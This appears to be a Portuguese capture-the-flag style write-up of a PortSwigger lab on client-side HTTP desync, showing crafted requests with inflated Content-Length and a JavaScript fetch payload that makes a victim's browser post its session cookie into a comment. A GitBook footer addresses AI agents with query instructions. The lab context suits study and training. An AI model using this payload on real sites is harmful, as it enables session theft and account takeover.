> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/client-side-desync.md).

# Dessincronização no Lado do Cliente

### Dessincronização do lado do cliente

Este laboratório é vulnerável a ataques de dessincronização do lado do cliente porque o servidor ignora o cabeçalho Content-Length para alguns endpoints. Essa fraqueza permite que o navegador da vítima revele seu cookie de sessão. / Objetivo do laboratório:

1. Identifique um vetor de dessincronização do lado do cliente com o Burp e depois verifique que ele é reproduzível no navegador.
2. Encontre um elemento da aplicação para injetar ou armazenar texto.
3. Combine ambos para forçar o navegador da vítima a enviar uma série de requisições entre domínios que revelem seu cookie.
4. Use este cookie para acessar a conta da vítima.

#### **Análise do Comportamento do Servidor**

Ao enviar uma consulta com um Content-Length deliberadamente inflado, o servidor o ignora e, em vez disso, trata o conteúdo seguinte como uma nova consulta:

```http
POST / HTTP/1.1
Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

GET /error HTTP/1.1
Teste: hello
```

Essa reação confirma a existência de dessincronização do lado do cliente.

<figure><img src="/files/c5321e36df3cc3b38f1cc0db82acee43f38def3c" alt=""><figcaption></figcaption></figure>

#### **Demonstra a Dessincronização**

Ao configurar duas requisições no Burp (uma simulando o cliente, a outra atacando) e enviá-las em sequência, a resposta de erro ao atacante é enviada ao cliente legítimo.

<figure><img src="/files/100042132db77661e939967ca2f006dd58a6b38e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dbbd227810bbee50401ccc90752eb6a1ec111684" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bf6c58b9daa9d4c74b820de3f4cc1e7c0bdd1254" alt=""><figcaption></figcaption></figure>

Isso mostra que o servidor dessincroniza fluxos HTTP.

<figure><img src="/files/76d6e0bf19724c4e88e6b6cc09de8e78c4b6300c" alt=""><figcaption></figcaption></figure>

#### **Exfiltração do Cookie da Vítima**

Para forçar o navegador da vítima a revelar seu cookie de sessão, alvo o recurso de comentários, que permite armazenar texto na aplicação.

<figure><img src="/files/45b4e12b8160295ec8dc17aeb484f6a5330535df" alt=""><figcaption></figcaption></figure>

Envie uma requisição de comentário com um Content-Length inflado:

```http
POST /en/post/comment HTTP/1.1
Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&comment=tst&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com
```

```http
csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com&comment=tst
```

Ao aumentar este campo (por exemplo, para 500), o comentário publicado então revela o cookie de sessão da conta conectada.

<figure><img src="/files/b8dcc6c7616d1cbad253288a2cb6bb884229878f" alt=""><figcaption></figcaption></figure>

#### **Automação via um Script JavaScript**

Para transformar o ataque em um exploit utilizável pela vítima, é construída uma requisição contrabandeada encapsulada em um script:

```javascript
<script>
smuggledRequest = [
    "POST /en/post/comment HTTP/1.1",
    "Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net",
    "Cookie: session=beALzw9m2Bqn8tBscGI4yK0O6TMWbOuz",
    "Content-Type: application/x-www-form-urlencoded",
    "Content-Length: 850",
    "",
    "csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=4&name=test&email=test@test.com&website=https://test.com&comment=test"
].join('/r/n')

fetch("https://0a69005a041eb75c828761ef00630000.h1-web-security-academy.net", {
    method: "POST",
    body: smuggledRequest,
    credentials: 'include',
    mode: 'no-cors'
});
</script>
```

Essa carga útil resulta no envio automático da requisição contrabandeada pelo navegador da vítima.

<figure><img src="/files/e77fc67412e5db1a08af80b595a1dcb52e8adea4" alt=""><figcaption></figcaption></figure>

O cookie de sessão roubado então aparece na seção de comentários.

<figure><img src="/files/f78c59bd8d804a78d0a031119d6c4029c87be37e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/client-side-desync.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
